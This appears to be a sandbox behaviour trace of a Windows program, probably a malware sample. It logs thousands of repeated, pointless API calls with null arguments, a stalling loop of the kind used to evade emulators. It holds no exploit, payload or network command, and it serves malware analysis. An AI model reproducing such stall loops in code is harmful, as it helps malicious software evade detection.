[0117.332] GetLastError () returned 0x3 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.332] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.332] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.332] GetLastError () returned 0x3 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.332] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.332] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.332] GetLastError () returned 0x3 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.332] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.332] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.332] GetLastError () returned 0x3 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.332] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.332] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.333] GetLastError () returned 0x3 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.333] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.333] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.333] GetLastError () returned 0x3 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.333] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.333] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.333] GetLastError () returned 0x3 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.333] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.333] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.333] GetLastError () returned 0x3 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.333] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.333] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.333] GetLastError () returned 0x3 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.333] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.333] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.333] GetLastError () returned 0x3 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.333] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.333] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.333] GetLastError () returned 0x3 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] AddAtomA (lpString=0x0) returned 0x0 [0117.333] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.334] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.334] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.334] GetLastError () returned 0x3 [0117.334] AddAtomA (lpString=0x0) returned 0x0 [0117.334] AddAtomA (lpString=0x0) returned 0x0 [0117.334] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.334] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.334] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.334] GetLastError () returned 0x3 [0117.334] AddAtomA (lpString=0x0) returned 0x0 [0117.334] AddAtomA (lpString=0x0) returned 0x0 [0117.334] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.334] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.334] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.334] GetLastError () returned 0x3 [0117.334] AddAtomA (lpString=0x0) returned 0x0 [0117.334] AddAtomA (lpString=0x0) returned 0x0 [0117.334] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.334] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.334] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.334] GetLastError () returned 0x3 [0117.334] AddAtomA (lpString=0x0) returned 0x0 [0117.334] AddAtomA (lpString=0x0) returned 0x0 [0117.335] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.335] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.335] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.335] GetLastError () returned 0x3 [0117.335] AddAtomA (lpString=0x0) returned 0x0 [0117.335] AddAtomA (lpString=0x0) returned 0x0 [0117.335] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.335] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.335] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.335] GetLastError () returned 0x3 [0117.335] AddAtomA (lpString=0x0) returned 0x0 [0117.335] AddAtomA (lpString=0x0) returned 0x0 [0117.335] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.335] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.335] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.335] GetLastError () returned 0x3 [0117.335] AddAtomA (lpString=0x0) returned 0x0 [0117.335] AddAtomA (lpString=0x0) returned 0x0 [0117.335] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.335] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.335] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.335] GetLastError () returned 0x3 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.336] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.336] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.336] GetLastError () returned 0x3 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.336] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.336] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.336] GetLastError () returned 0x3 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.336] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.336] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.336] GetLastError () returned 0x3 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.336] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.336] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.336] GetLastError () returned 0x3 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.336] AddAtomA (lpString=0x0) returned 0x0 [0117.337] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.337] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.337] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.337] GetLastError () returned 0x3 [0117.337] AddAtomA (lpString=0x0) returned 0x0 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.884] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.884] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.884] GetLastError () returned 0x3 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.884] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.884] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.884] GetLastError () returned 0x3 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.884] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.884] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.884] GetLastError () returned 0x3 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.884] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.884] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.884] GetLastError () returned 0x3 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.884] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.884] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.884] GetLastError () returned 0x3 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.884] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.884] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.884] GetLastError () returned 0x3 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.884] AddAtomA (lpString=0x0) returned 0x0 [0117.885] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.885] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.885] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.262] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.263] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.263] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.263] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.263] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.263] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.263] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.263] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.263] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.263] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.263] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.263] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.263] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.263] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.263] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.263] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.264] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.264] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.264] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.264] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.264] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.264] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.264] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.264] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.264] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.264] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.264] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.264] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.264] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.264] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.264] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.264] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.264] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.264] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.265] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.265] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.265] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.265] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.265] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.265] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.265] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.265] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.265] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.265] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.265] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.265] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.265] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.265] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.265] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.265] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.265] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.266] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.266] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.266] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.266] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.266] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.266] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.266] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.266] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.266] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.266] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.266] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.266] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.266] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.266] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.266] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.266] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.266] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.266] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.266] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.266] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.266] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.266] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.266] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.267] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.267] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.267] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.267] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.267] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.267] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.267] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.267] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.267] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.267] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.267] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.267] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.267] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.267] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.267] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.267] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.267] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.267] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.267] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.267] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.267] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.267] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.267] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.268] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.268] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.268] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.268] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.268] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.268] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.268] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.268] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.268] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.268] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.268] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.268] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.268] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.268] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.268] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.268] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.268] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.269] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.269] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.269] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.269] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.269] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.269] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.269] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.269] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.269] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.269] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.269] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.269] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.269] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.269] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.269] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.269] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.269] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.269] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.269] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.269] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.269] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.269] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.269] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.270] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.270] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.270] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.270] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.270] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.270] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.270] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.270] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.270] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.270] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.270] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.270] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.270] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.270] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.270] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.270] 